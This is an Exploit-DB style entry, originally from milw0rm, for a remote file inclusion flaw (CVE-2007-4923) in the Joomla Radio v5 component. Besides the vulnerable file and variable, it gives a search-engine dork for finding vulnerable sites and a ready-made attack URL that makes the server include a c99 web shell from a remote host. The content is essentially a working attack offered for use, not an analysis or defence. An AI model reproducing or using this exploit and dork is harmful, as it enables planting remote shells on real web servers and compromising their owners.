Exploit Joomla! Component Joomlaradio 5.0 - Remote File Inclusion

[Exploiter]

EDB-ID

4401

Проверка EDB

1. Пройдено

Автор

MORGAN

Тип уязвимости

WEBAPPS

Платформа

PHP

CVE

cve-2007-4923

Дата публикации

2007-09-13

###########################
# Joomla Radio v5 Component RFI           #
###########################

Bug in :
administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php
Variable : $mosConfig_live_site

Download : http://www.joomlaos.de/option,com_remository/Itemid,41/func,fileinfo/id,2661.html

Dork: inurl:"com_joomlaradiov5"

Example:

www.site.com/administrator/components/com_joomlaradiov5/admin.joomlaradiov5.php?mosConfig_live_site=http://scriptkiddie.com/c99haxor.txt?


Greets to all Irc.RealWorm.Net #Morgan Users ;)

# milw0rm.com [2007-09-13]